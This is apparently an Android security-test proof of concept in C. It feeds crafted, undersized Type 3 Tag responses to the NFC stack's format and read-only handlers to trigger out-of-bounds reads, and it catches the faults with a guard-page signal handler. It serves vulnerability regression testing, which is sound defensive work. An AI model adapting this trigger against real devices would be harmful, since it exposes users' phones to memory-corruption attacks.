1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <stdlib.h>
18 #include <string.h>
19 #include <nfc_int.h>
20 #include <nfc_api.h>
21 #include <tags_defs.h>
22 #include <rw_int.h>
23 #include <unistd.h>
24 #include "../includes/common.h"
25 #include "../includes/memutils.h"
26
27 char enable_selective_overload = ENABLE_NONE;
28 char *vulnPtr = nullptr;
29
30 bool testInProgress = false;
31 struct sigaction new_action, old_action;
sigsegv_handler(int signum,siginfo_t * info,void * context)32 void sigsegv_handler(int signum, siginfo_t *info, void* context) {
33 if (testInProgress && info->si_signo == SIGSEGV) {
34 size_t pageSize = getpagesize();
35 if (pageSize) {
36 char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
37 char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
38 if (faultPage == vulnPtrGuardPage) {
39 (*old_action.sa_sigaction)(signum, info, context);
40 return;
41 }
42 }
43 }
44 _exit(EXIT_FAILURE);
45 }
46
47 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
48
49 extern tRW_CB rw_cb;
50 extern tNFC_CB nfc_cb;
51 tNFC_CONN *p_data;
52 void rw_init(void);
53 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
54 uint8_t mrti_check, uint8_t mrti_update);
55
allocate_memory(size_t size)56 void *allocate_memory(size_t size) {
57 void *ptr = memalign(16, size);
58 memset(ptr, 0x0, size);
59 return ptr;
60 }
61
62 /* States */
63 enum {
64 RW_T3T_STATE_NOT_ACTIVATED,
65 RW_T3T_STATE_IDLE,
66 RW_T3T_STATE_COMMAND_PENDING
67 };
68
69 /* Enumeration of API commands */
70 enum {
71 RW_T3T_CMD_DETECT_NDEF,
72 RW_T3T_CMD_CHECK_NDEF,
73 RW_T3T_CMD_UPDATE_NDEF,
74 RW_T3T_CMD_CHECK,
75 RW_T3T_CMD_UPDATE,
76 RW_T3T_CMD_SEND_RAW_FRAME,
77 RW_T3T_CMD_GET_SYSTEM_CODES,
78 RW_T3T_CMD_FORMAT,
79 RW_T3T_CMD_SET_READ_ONLY_SOFT,
80 RW_T3T_CMD_SET_READ_ONLY_HARD,
81 RW_T3T_CMD_MAX
82 };
83
84 /* Sub-states */
85 enum {
86 /* Sub states for formatting Felica-Lite */
87 RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
88 formatting) */
89 RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
90 block-read to complete */
91 RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
92 block-write to complete */
93 RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
94 to complete */
95
96 /* Sub states for setting Felica-Lite read only */
97 RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
98 setting read only) */
99 RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
100 to complete */
101 RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
102 block-read to complete */
103 RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
104 block-write to complete */
105 };
106
poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)107 void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
108 (void)event;
109 (void)p_rw_data;
110 }
111
GKI_start_timer(uint8_t,int32_t,bool)112 void GKI_start_timer(uint8_t, int32_t, bool) {
113 }
114
GKI_stop_timer(uint8_t)115 void GKI_stop_timer(uint8_t) {
116 }
117
GKI_freebuf(void *)118 void GKI_freebuf(void*) {
119 }
120
trigger_OOB_via_rw_t3t_act_handle_fmt_rsp()121 int trigger_OOB_via_rw_t3t_act_handle_fmt_rsp(){
122 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
123
124 GKI_init();
125 rw_init();
126 rw_cb.p_cback = &poc_cback;
127
128 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
129 uint8_t mrti_check = 1, mrti_update = 1;
130 enable_selective_overload = ENABLE_MEMALIGN_CHECK;
131 FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
132
133 p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
134 FAIL_CHECK(p_data);
135
136 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
137 enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
138 if (!(p_data->data.p_data)) {
139 free(p_data);
140 FAIL_CHECK(p_data->data.p_data);
141 }
142 vulnPtr = (char *)p_data->data.p_data;
143 p_data->status = NFC_STATUS_OK;
144
145 p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
146 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
147 p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
148
149 NFC_HDR* p_msg = (p_data->data).p_data;
150 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
151
152 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
153 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
154 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
155
156 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
157 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = !T3T_MSG_FELICALITE_MC_OFFSET;
158
159 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
160 tNFC_CONN_EVT event = NFC_DATA_CEVT;
161 memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
162 NCI_NFCID2_LEN);
163 testInProgress = true;
164 p_cb->p_cback(0, event, p_data);
165 testInProgress = false;
166 free(p_data->data.p_data);
167 free(p_data);
168 return EXIT_SUCCESS;
169 }
170
trigger_OOB_via_rw_t3t_act_handle_sro_rsp()171 int trigger_OOB_via_rw_t3t_act_handle_sro_rsp(){
172 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
173
174 GKI_init();
175 rw_init();
176 rw_cb.p_cback = &poc_cback;
177
178 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
179 uint8_t mrti_check = 1, mrti_update = 1;
180 enable_selective_overload = ENABLE_MEMALIGN_CHECK;
181 FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
182
183 tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
184 FAIL_CHECK(p_data);
185
186 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
187 enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
188 if (!(p_data->data.p_data)) {
189 free(p_data);
190 FAIL_CHECK(p_data->data.p_data);
191 }
192 vulnPtr = (char *)p_data->data.p_data;
193 p_data->status = NFC_STATUS_OK;
194
195 p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
196 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
197 p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
198
199 NFC_HDR* p_msg = (p_data->data).p_data;
200 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
201
202 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
203 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
204 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
205
206 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
207 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
208
209 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
210 tNFC_CONN_EVT event = NFC_DATA_CEVT;
211
212 testInProgress = true;
213 p_cb->p_cback(0, event, p_data);
214 testInProgress = false;
215 free(p_data->data.p_data);
216 free(p_data);
217 return EXIT_SUCCESS;
218 }
219
main()220 int main() {
221 sigemptyset(&new_action.sa_mask);
222 new_action.sa_flags = SA_SIGINFO;
223 new_action.sa_sigaction = sigsegv_handler;
224 sigaction(SIGSEGV, &new_action, &old_action);
225 int ret = trigger_OOB_via_rw_t3t_act_handle_fmt_rsp();
226 ret |= trigger_OOB_via_rw_t3t_act_handle_sro_rsp();
227 return ret;
228 }
229